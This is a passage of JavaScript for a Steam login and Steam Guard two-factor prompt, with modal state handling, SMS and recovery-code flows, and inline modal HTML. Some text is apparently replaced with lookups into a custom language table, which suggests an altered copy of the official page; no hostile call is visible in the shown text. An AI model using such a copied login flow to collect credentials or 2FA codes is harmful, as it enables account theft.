  863. $J('#auth_buttonsets').children().hide();
  864. $J('#auth_buttonset_' + step ).show();
  865.  
  866. $J('#authcode_help_supportlink').hide();
  867.  
  868. var icon='key';
  869. var bShowAuthcodeEntry = true;
  870. if ( step == 'entercode' )
  871. {
  872. icon = 'mail';
  873. }
  874. else if ( step == 'checkspam' )
  875. {
  876. icon = 'trash';
  877. }
  878. else if ( step == 'success' )
  879. {
  880. icon = 'unlock';
  881. bShowAuthcodeEntry = false;
  882. $J('#success_continue_btn').focus();
  883. this.m_EmailAuthModal.SetDismissOnBackgroundClick( true );
  884. this.m_EmailAuthModal.always( $J.proxy( this.LoginComplete, this ) );
  885. }
  886. else if ( step == 'incorrectcode' )
  887. {
  888. icon = 'lock';
  889. }
  890. else if ( step == 'help' )
  891. {
  892. icon = 'steam';
  893. bShowAuthcodeEntry = false;
  894. $J('#authcode_help_supportlink').show();
  895. }
  896.  
  897. if ( bShowAuthcodeEntry )
  898. {
  899. var $AuthcodeEntry = $J('#authcode_entry');
  900. if ( !$AuthcodeEntry.is(':visible') )
  901. {
  902. $AuthcodeEntry.show().find('input').focus();
  903. }
  904. $J('#auth_details_computer_name').show();
  905. }
  906. else
  907. {
  908. $J('#authcode_entry').hide();
  909. $J('#auth_details_computer_name').hide();
  910. }
  911.  
  912. $J('#auth_icon').attr('class', 'auth_icon auth_icon_' + icon );
  913. };
  914.  
  915. CLoginPromptManager.prototype.StartTwoFactorAuthProcess = function()
  916. {
  917. this.m_bInTwoFactorAuthProcess = true;
  918. this.SetTwoFactorAuthModalState( 'entercode' );
  919.  
  920. var _this = this;
  921. this.m_TwoFactorModal = ShowDialog( custLang[currCustLang].guard[0], this.m_$ModalTwoFactor.show() )
  922. .fail( function() { _this.CancelTwoFactorAuthProcess(); } )
  923. .always( function() {
  924. $J(document.body).append( _this.m_$ModalTwoFactor.hide() );
  925. _this.m_bInTwoFactorAuthProcess = false;
  926. _this.m_TwoFactorModal = null;
  927. } );
  928.  
  929. this.m_TwoFactorModal.SetDismissOnBackgroundClick( false );
  930. this.m_TwoFactorModal.SetRemoveContentOnDismissal( false );
  931.  
  932. $J('#twofactorcode_entry').focus();
  933. };
  934.  
  935.  
  936. CLoginPromptManager.prototype.CancelTwoFactorAuthProcess = function()
  937. {
  938. this.m_bInTwoFactorAuthProcess = false;
  939.  
  940. if ( this.m_bTwoFactorAuthSuccessful )
  941. this.LoginComplete();
  942. else
  943. this.ClearLoginForm();
  944. };
  945.  
  946.  
  947. CLoginPromptManager.prototype.OnTwoFactorResetOptionsResponse = function( results )
  948. {
  949. if ( results.success && results.options.sms.allowed )
  950. {
  951. this.m_sPhoneNumberLastDigits = results.options.sms.last_digits;
  952. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove' ); // Or reset if this.m_bTwoFactorReset
  953. }
  954. else if ( results.success )
  955. {
  956. this.SetTwoFactorAuthModalState( 'selfhelp_nosms' );
  957. }
  958. else
  959. {
  960. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  961. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  962. }
  963. };
  964.  
  965.  
  966. CLoginPromptManager.prototype.OnTwoFactorRecoveryFailure = function()
  967. {
  968. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  969. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( '' ); // v0v
  970. };
  971.  
  972.  
  973. CLoginPromptManager.prototype.OnStartRemoveTwoFactorResponse = function( results )
  974. {
  975. if ( results.success )
  976. {
  977. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove_entercode' );
  978. }
  979. else
  980. {
  981. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  982. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  983. }
  984. };
  985.  
  986.  
  987. CLoginPromptManager.prototype.OnRemoveTwoFactorResponse = function( results )
  988. {
  989. if ( results.success )
  990. {
  991. if ( this.m_bTwoFactorReset )
  992. {
  993. if ( this.m_bIsMobileSteamClient && !this.m_bMobileClientSupportsPostMessage )
  994. this.RunLocalURL( "steammobile://steamguard?op=setsecret&arg1=" + results.replacement_token );
  995.  
  996. this.SetTwoFactorAuthModalState( 'selfhelp_twofactor_replaced' );
  997. }
  998. else
  999. {
  1000. this.SetTwoFactorAuthModalState( 'selfhelp_twofactor_removed' );
  1001. }
  1002. }
  1003. else if ( results.retry )
  1004. {
  1005. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove_incorrectcode' );
  1006. }
  1007. else
  1008. {
  1009. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  1010. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  1011. }
  1012. };
  1013.  
  1014.  
  1015. CLoginPromptManager.prototype.OnUseTwoFactorRecoveryCodeResponse = function( results )
  1016. {
  1017. if ( results.success )
  1018. {
  1019. this.SetTwoFactorAuthModalState( 'selfhelp_twofactor_removed' );
  1020. }
  1021. else if ( results.retry )
  1022. {
  1023. $J( '#login_twofactorauth_details_selfhelp_rcode_incorrectcode' ).text( results.message );
  1024. this.SetTwoFactorAuthModalState( 'selfhelp_rcode_incorrectcode' );
  1025. }
  1026. else if ( results.exhausted )
  1027. {
  1028. $J( '#login_twofactorauth_details_selfhelp_rcode_incorrectcode_exhausted' ).text( results.message );
  1029. this.SetTwoFactorAuthModalState( 'selfhelp_rcode_incorrectcode_exhausted' );
  1030. }
  1031. else
  1032. {
  1033. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  1034. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  1035. }
  1036. };
  1037.  
  1038.  
  1039. CLoginPromptManager.prototype.OnTwoFactorAuthSuccessContinue = function()
  1040. {
  1041. if ( !this.m_bIsMobile )
  1042. {
  1043. $J('#login_twofactorauth_buttonsets').children().hide();
  1044. $J('#login_twofactorauth_buttonset_waiting').show();
  1045. }
  1046.  
  1047. if ( this.m_bLoginTransferInProgress )
  1048. {
  1049. this.m_bTwoFactorAuthSuccessfulWantToLeave = true;
  1050. }
  1051. else
  1052. {
  1053. this.LoginComplete();
  1054. }
  1055. };
  1056.  
  1057. CLoginPromptManager.prototype.SetTwoFactorAuthModalState = function( step )
  1058. {
  1059. if ( step == 'submit' )
  1060. {
  1061. $J('#login_twofactor_authcode_entry').hide();
  1062. this.SubmitTwoFactorCode();
  1063. return;
  1064. }
  1065. else if ( step == 'success' )
  1066. {
  1067. this.OnTwoFactorAuthSuccessContinue();
  1068. return;
  1069. }
  1070.  
  1071. $J('#login_twofactorauth_messages').children().hide();
  1072. $J('#login_twofactorauth_message_' + step ).show();
  1073.  
  1074. $J('#login_twofactorauth_details_messages').children().hide();
  1075. $J('#login_twofactorauth_details_' + step ).show();
  1076.  
  1077. $J('#login_twofactorauth_buttonsets').children().hide();
  1078. $J('#login_twofactorauth_buttonset_' + step ).show();
  1079.  
  1080. $J('#login_twofactor_authcode_help_supportlink').hide();
  1081.  
  1082. var icon = 'key';
  1083. if ( step == 'entercode' )
  1084. {
  1085. icon = 'phone';
  1086. $J('#login_twofactor_authcode_entry').show();
  1087. $J('#twofactorcode_entry').val('');
  1088. $J('#login_twofactorauth_message_entercode_accountname').text( this.m_strUsernameEntered );
  1089. $J('#twofactorcode_entry').focus();
  1090. }
  1091. else if ( step == 'incorrectcode' )
  1092. {
  1093. icon = 'lock';
  1094. $J('#login_twofactor_authcode_entry').show();
  1095. $J('#twofactorcode_entry').val('');
  1096. $J('#twofactorcode_entry').focus();
  1097. }
  1098. else if ( step == 'selfhelp' )
  1099. {
  1100. icon = 'steam';
  1101. $J('#login_twofactor_authcode_entry').hide();
  1102.  
  1103. if ( !this.m_bIsMobileSteamClient
  1104. || this.BIsAndroid() && !this.BIsUserInMobileClientVersionOrNewer( 2, 0, 32 )
  1105. || this.BIsIos() && !this.BIsUserInMobileClientVersionOrNewer( 2, 0, 0 )
  1106. // no version minimum for Windows phones
  1107. )
  1108. {
  1109. $J( '#login_twofactorauth_buttonset_selfhelp div[data-modalstate=selfhelp_sms_reset_start]' ).hide();
  1110. }
  1111. }
  1112. else if ( step == 'selfhelp_sms_remove_start' || step == 'selfhelp_sms_reset_start' )
  1113. {
  1114. icon = 'steam';
  1115. $J('#login_twofactor_authcode_entry').hide();
  1116.  
  1117. if ( !this.m_bIsMobileSteamClient
  1118. || this.BIsAndroid() && !this.BIsUserInMobileClientVersionOrNewer( 2, 0, 32 )
  1119. || this.BIsIos() && !this.BIsUserInMobileClientVersionOrNewer( 2, 0, 0 )
  1120. // no version minimum for Windows phones
  1121. )
  1122. {
  1123. $J( '#login_twofactorauth_buttonset_selfhelp div[data-modalstate=selfhelp_sms_reset_start]' ).hide();
  1124. }
  1125. }
  1126. else if ( step == 'selfhelp_sms_remove' )
  1127. {
  1128. icon = 'steam';
  1129. $J('#login_twofactorauth_selfhelp_sms_remove_last_digits').text( this.m_sPhoneNumberLastDigits );
  1130. }
  1131. else if ( step == 'selfhelp_sms_remove_sendcode' )
  1132. {
  1133. icon = 'steam';
  1134. $J('#login_twofactor_authcode_entry').hide();
  1135.  
  1136. $J('#login_twofactorauth_messages').children().hide();
  1137. $J('#login_twofactorauth_details_messages').children().hide();
  1138.  
  1139. $J('#login_twofactorauth_buttonsets').children().hide();
  1140. $J('#login_twofactorauth_buttonset_waiting').show();
  1141.  
  1142. $J.post( this.m_strBaseURL + 'startremovetwofactor/', this.GetParameters( {} ) )
  1143. .done( $J.proxy( this.OnStartRemoveTwoFactorResponse, this ) )
  1144. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1145. }
  1146. else if ( step == 'selfhelp_sms_remove_entercode' )
  1147. {
  1148. $J('#login_twofactorauth_selfhelp_sms_remove_entercode_last_digits').text( this.m_sPhoneNumberLastDigits );
  1149.  
  1150. $J('#login_twofactor_authcode_entry').show();
  1151. $J('#twofactorcode_entry').val('');
  1152. $J('#twofactorcode_entry').focus();
  1153. }
  1154. else if ( step == 'selfhelp_sms_remove_checkcode' )
  1155. {
  1156. $J('#login_twofactor_authcode_entry').hide();
  1157.  
  1158. $J('#login_twofactorauth_messages').children().hide();
  1159. $J('#login_twofactorauth_details_messages').children().hide();
  1160.  
  1161. $J('#login_twofactorauth_buttonsets').children().hide();
  1162. $J('#login_twofactorauth_buttonset_waiting').show();
  1163.  
  1164. // Immediately skip to incorrect code step without actually checking it if the user forgot to enter a code.
  1165. if ( $J('#twofactorcode_entry').val().length == 0 )
  1166. {
  1167. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove_incorrectcode' );
  1168. }
  1169. else
  1170. {
  1171. var rgParameters = {
  1172. smscode: $J( '#twofactorcode_entry' ).val(),
  1173. reset: this.m_bTwoFactorReset ? 1 : 0
  1174. };
  1175.  
  1176. $J.post( this.m_strBaseURL + 'removetwofactor/', this.GetParameters( rgParameters ) )
  1177. .done( $J.proxy( this.OnRemoveTwoFactorResponse, this ) )
  1178. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1179. }
  1180. }
  1181. else if ( step == 'selfhelp_sms_remove_incorrectcode' )
  1182. {
  1183. icon = 'lock';
  1184. $J('#login_twofactor_authcode_entry').show();
  1185. $J('#twofactorcode_entry').focus();
  1186. }
  1187. else if ( step == 'selfhelp_twofactor_removed' )
  1188. {
  1189. icon = 'unlock';
  1190. $J('#twofactorcode_entry').val(''); // Make sure the next login doesn't supply a code
  1191. }
  1192. else if ( step == 'selfhelp_twofactor_replaced' )
  1193. {
  1194. icon = 'steam';
  1195. $J('#twofactorcode_entry').val('');
  1196. }
  1197. else if ( step == 'selfhelp_sms_remove_complete' )
  1198. {
  1199. this.m_TwoFactorModal.Dismiss();
  1200. this.m_bInTwoFactorAuthProcess = false;
  1201. this.DoLogin();
  1202. }
  1203. else if ( step == 'selfhelp_nosms' )
  1204. {
  1205. icon = 'steam';
  1206. $J('#login_twofactor_authcode_entry').hide();
  1207. }
  1208. else if ( step == 'selfhelp_rcode' )
  1209. {
  1210. $J('#login_twofactor_authcode_entry').show();
  1211. $J('#twofactorcode_entry').val('');
  1212. $J('#twofactorcode_entry').focus();
  1213. }
  1214. else if ( step == 'selfhelp_rcode_checkcode' )
  1215. {
  1216. $J('#login_twofactor_authcode_entry').hide();
  1217.  
  1218. $J('#login_twofactorauth_messages').children().hide();
  1219. $J('#login_twofactorauth_details_messages').children().hide();
  1220.  
  1221. $J('#login_twofactorauth_buttonsets').children().hide();
  1222. $J('#login_twofactorauth_buttonset_waiting').show();
  1223.  
  1224. // Immediately skip to incorrect code step without actually checking it if the user forgot to enter a code.
  1225. if ( $J('#twofactorcode_entry').val().length == 0 )
  1226. {
  1227. this.SetTwoFactorAuthModalState( 'selfhelp_rcode_incorrectcode' );
  1228. }
  1229. else
  1230. {
  1231. var rgParameters = { rcode: $J( '#twofactorcode_entry' ).val() };
  1232.  
  1233. $J.post( this.m_strBaseURL + 'userecoverycode/', this.GetParameters( rgParameters ) )
  1234. .done( $J.proxy( this.OnUseTwoFactorRecoveryCodeResponse, this ) )
  1235. .fail( $J.proxy( this.OnTwoFactorRecoveryFailure, this ) );
  1236. }
  1237. }
  1238. else if ( step == 'selfhelp_rcode_incorrectcode' )
  1239. {
  1240. icon = 'lock';
  1241. $J('#login_twofactor_authcode_entry').show();
  1242. $J('#twofactorcode_entry').focus();
  1243. }
  1244. else if ( step == 'selfhelp_couldnthelp' )
  1245. {
  1246. icon = 'steam';
  1247. $J('#login_twofactor_authcode_entry').hide();
  1248. }
  1249. else if ( step == 'help' )
  1250. {
  1251. icon = 'steam';
  1252. $J('#login_twofactor_authcode_entry').hide();
  1253. $J('#login_twofactor_authcode_help_supportlink').show();
  1254. }
  1255. else if ( step == 'selfhelp_failure' )
  1256. {
  1257. icon = 'steam';
  1258. }
  1259.  
  1260. if ( this.m_bInTwoFactorAuthProcess && this.m_TwoFactorModal )
  1261. {
  1262. this.m_TwoFactorModal.AdjustSizing();
  1263. }
  1264.  
  1265. $J('#login_twofactorauth_icon').attr( 'class', 'auth_icon auth_icon_' + icon );
  1266. };
  1267.  
  1268. CLoginPromptManager.prototype.SubmitTwoFactorCode = function()
  1269. {
  1270. this.m_sAuthCode = $J('#twofactorcode_entry').val();
  1271.  
  1272.  
  1273. $J('#login_twofactorauth_messages').children().hide();
  1274. $J('#login_twofactorauth_details_messages').children().hide();
  1275.  
  1276. $J('#login_twofactorauth_buttonsets').children().hide();
  1277. $J('#login_twofactorauth_buttonset_waiting').show();
  1278.  
  1279. this.DoLogin();
  1280. };
  1281.  
  1282. CLoginPromptManager.sm_$Modals = null; // static
  1283. CLoginPromptManager.prototype.InitModalContent = function()
  1284. {
  1285.  
  1286. var $modals = $J('#loginModals');
  1287. if ( $modals.length == 0 )
  1288. {
  1289. // This does not work on Android 2.3, nor does creating the DOM node and
  1290. // setting innerHTML without jQuery. So on the mobile login page, we put
  1291. // the modals into the page directly, but not all pages have that.
  1292. CLoginPromptManager.sm_$Modals = $J( "<div id=\"loginModals\">\r\n\t<div class=\"login_modal loginAuthCodeModal\" style=\"display: none\">\r\n\t\t<form data-ajax=\"false\">\r\n\t\t\t<div class=\"auth_message_area\">\r\n\t\t\t\t<div id=\"auth_icon\" class=\"auth_icon auth_icon_key\">\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_messages\" id=\"auth_messages\">\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">Hello!<\/div>\r\n\t\t\t\t\t\t<p>We see you're logging in to Steam from a new browser or a new computer. Or maybe it's just been a while...<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_checkspam\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">Mistaken for spam?<\/div>\r\n\t\t\t\t\t\t<p>Did you check your spam folder? If you don't see a recent message from Steam Support in your inbox, try looking there.<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_success\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">Success!<\/div>\r\n\t\t\t\t\t\t<p>You now have access to your Steam account here.<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">Whoops!<\/div>\r\n\t\t\t\t\t\t<p>Sorry but, <br>that isn't quite right...<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div class=\"auth_message\" id=\"auth_message_help\" style=\"display: none;\">\r\n\t\t\t\t\t\t<div class=\"auth_modal_h1\">Let us help!<\/div>\r\n\t\t\t\t\t\t<p>Sorry you're having trouble. We know your Steam account is valuable to you, and we're committed to helping you keep access to it in the right hands.<\/p>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div id=\"auth_details_messages\" class=\"auth_details_messages\">\r\n\t\t\t\t<div class=\"auth_details\" id=\"auth_details_entercode\" style=\"display: none;\">\r\n\t\t\t\t\tAs an added account security measure, you\u2019ll need to grant access to this browser by entering the special code we\u2019ve just sent to your email address at <span id=\"emailauth_entercode_emaildomain\"><\/span>.\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_details\" id=\"auth_details_success\" style=\"display: none;\">\r\n\t\t\t\t\tIf this is a public computer, be sure to log out of Steam when you're ready to quit this browser session.\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_details\" id=\"auth_details_help\" style=\"display: none;\">\r\n\t\t\t\t\tPlease contact Steam Support for assistance from a member of our staff. Legitimate claims for help with account access are our number one priority.\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"authcode_entry_area\">\r\n\t\t\t\t<div id=\"authcode_entry\">\r\n\t\t\t\t\t<div class=\"authcode_entry_box\">\r\n\t\t\t\t\t\t<input class=\"authcode_entry_input authcode_placeholder\" id=\"authcode\" type=\"text\" value=\"\"\r\n\t\t\t\t\t\t\t placeholder=\""+custLang[currCustLang].guard[4]+"\">\r\n\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div id=\"authcode_help_supportlink\">\r\n\t\t\t\t\t<a href=\"https:\/\/support.steampowered.com\/kb_article.php?ref=4020-ALZM-5519\" data-ajax=\"false\" data-externallink=\"1\">Contact Steam Support for help with account access<\/a>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"modal_buttons\" id=\"auth_buttonsets\">\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t<div data-modalstate=\"submit\" class=\"auth_button leftbtn\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">Submit<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">my special access code<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div data-modalstate=\"checkspam\" class=\"auth_button\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">What message?<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">I don't have any message from Steam Support...<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_checkspam\" style=\"display: none;\">\r\n\t\t\t\t\t<div data-modalstate=\"submit\" class=\"auth_button leftbtn\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">Found it!<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">and I've entered my special access code above<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div data-modalstate=\"help\" class=\"auth_button\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">No luck still...<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">I don't have any message from Steam Support...<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_success\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_button auth_button_spacer\">\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<a data-modalstate=\"complete\" class=\"auth_button\" id=\"success_continue_btn\" href=\"javascript:void(0);\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">Proceed to Steam!<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">&nbsp;<br>&nbsp;<\/div>\r\n\t\t\t\t\t<\/a>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div data-modalstate=\"submit\" class=\"auth_button leftbtn\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">I want to try again<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">and I've re-entered my special access code above<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div data-modalstate=\"help\" class=\"auth_button\">\r\n\t\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t\t<div class=\"auth_button_h5\">I think I need assistance from Steam Support...<\/div>\r\n\t\t\t\t\t<\/div>\r\n\t\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"auth_buttonset\" id=\"auth_buttonset_waiting\" style=\"display: none;\">\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div style=\"\" id=\"auth_details_computer_name\" class=\"auth_details_messages\">\r\n\t\t\t\tTo easily recognize this browser among the list of devices Steam Guard has enabled, give the browser a friendly name - at least 6 characters long.\t\t\t\t<div id=\"friendly_name_box\" class=\"friendly_name_box\">\r\n\t\t\t\t\t<input class=\"authcode_entry_input authcode_placeholder\" id=\"friendlyname\" type=\"text\"\r\n\t\t\t\t\t\t placeholder=\"enter a friendly name here\">\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t\t<div style=\"display: none;\">\r\n\t\t\t\t<input type=\"submit\">\r\n\t\t\t<\/div>\r\n\t\t<\/form>\r\n\t<\/div>\r\n\r\n\t<div class=\"login_modal loginIPTModal\" style=\"display: none\">\r\n\t\t<div class=\"auth_message_area\">\r\n\t\t\t<div class=\"auth_icon ipt_icon\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"auth_messages\">\r\n\t\t\t\t<div class=\"auth_message\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Sorry<\/div>\r\n\t\t\t\t\t<p>This account can't be accessed from this computer without additional authorization.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"auth_details_messages\">\r\n\t\t\t<div class=\"auth_details\">\r\n\t\t\t\tPlease contact Steam Support to have a member of our staff assist you. Legitimate claims for help with account access are our number one priority.\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t\t<div class=\"authcode_entry_area\">\r\n\t\t<\/div>\r\n\t\t<div class=\"modal_buttons\">\r\n\t\t\t<div class=\"auth_buttonset\" >\r\n\t\t\t\t<a href=\"https:\/\/support.steampowered.com\/kb_article.php?ref=9400-IPAX-9398&auth=e39b5c227cffc8ae65414aba013e5fef\" class=\"auth_button leftbtn\" data-ajax=\"false\" data-externallink=\"1\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Learn more<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">about Intel&reg; Identity Protection Technology<\/div>\r\n\t\t\t\t<\/a>\r\n\t\t\t\t<a href=\"https:\/\/support.steampowered.com\" class=\"auth_button\" data-ajax=\"false\" data-externallink=\"1\">\r\n\t\t\t\t\t<div class=\"auth_button_h3\">Please help<\/div>\r\n\t\t\t\t\t<div class=\"auth_button_h5\">I think I need assistance from Steam Support...<\/div>\r\n\t\t\t\t<\/a>\r\n\t\t\t\t<div style=\"clear: left;\"><\/div>\r\n\t\t\t<\/div>\r\n\t\t<\/div>\r\n\t<\/div>\r\n\r\n\r\n\r\n\t<div class=\"login_modal loginTwoFactorCodeModal\" style=\"display: none\">\r\n\t\t<form>\r\n\t\t<div class=\"twofactorauth_message_area\">\r\n\t\t\t<div id=\"login_twofactorauth_icon\" class=\"auth_icon auth_icon_key\">\r\n\t\t\t<\/div>\r\n\t\t\t<div class=\"twofactorauth_messages\" id=\"login_twofactorauth_messages\">\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">"+ (currCustLang !== 'zh' ? custLang[currCustLang].guard[1] + ' ' : '') +"<span id=\"login_twofactorauth_message_entercode_accountname\"><\/span>"+(currCustLang === 'zh' ? custLang[currCustLang].guard[1] + '' : '!')+"<\/div>\r\n\t\t\t\t\t<p>"+custLang[currCustLang].guard[2]+"<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Whoops!<\/div>\r\n\t\t\t\t\t<p>Sorry but, <br>that isn't quite right...<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">"+custLang[currCustLang].guard[9]+"<\/div>\r\n\t\t\t\t\t<p>"+custLang[currCustLang].guard[10]+"<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_sms_remove\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Confirm ownership of your account<\/div>\r\n\t\t\t\t\t<p>We'll send a text message containing an account recovery code to your phone number ending in <span id=\"login_twofactorauth_selfhelp_sms_remove_last_digits\"><\/span>. Once you enter the code, we will remove the mobile authenticator from your account and you will receive Steam Guard codes via email.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_sms_remove_entercode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Confirm ownership of your account<\/div>\r\n\t\t\t\t\t<p>We have sent a text message containing a confirmation code to your phone number ending in <span id=\"login_twofactorauth_selfhelp_sms_remove_entercode_last_digits\"><\/span>. Enter the code below so we can remove the mobile authenticator from your account.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_sms_remove_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Whoops!<\/div>\r\n\t\t\t\t\t<p>Sorry but, <br>that isn't quite right...<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_twofactor_removed\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Success!<\/div>\r\n\t\t\t\t\t<p>We have removed the mobile authenticator from your account. Next time you log in, you will have to enter a Steam Guard code that is sent to your email address.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_twofactor_replaced\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Success!<\/div>\r\n\t\t\t\t\t<p>You can now use this device to get mobile authenticator codes for your account. Any other device that was previously providing authenticator codes for your account will no longer be able to do so.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_nosms\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Do you have the recovery code?<\/div>\r\n\t\t\t\t\t<p>You do not have a phone number associated with your Steam account, so we are unable to verify account ownership via a text message. Do you have the recovery code that you wrote down when you added the mobile authenticator? The recovery code begins with the letter 'R'.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Enter your recovery code<\/div>\r\n\t\t\t\t\t<p>Please enter the recovery code in the box below. The recovery code begins with the letter 'R'.<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode_incorrectcode\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Whoops!<\/div>\r\n\t\t\t\t\t<p>Sorry but, <br>that isn't quite right...<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode_incorrectcode_exhausted\" style=\"display: none;\">\r\n\t\t\t\t\t<div class=\"auth_modal_h1\">Whoops!<\/div>\r\n\t\t\t\t\t<p>Sorry but, <br>that isn't quite right...<\/p>\r\n\t\t\t\t<\/div>\r\n\t\t\t\t<div class=\"twofactorauth_message\" id=\"login_twofactorauth_message_selfhelp_rcode_message\" style=\"display: 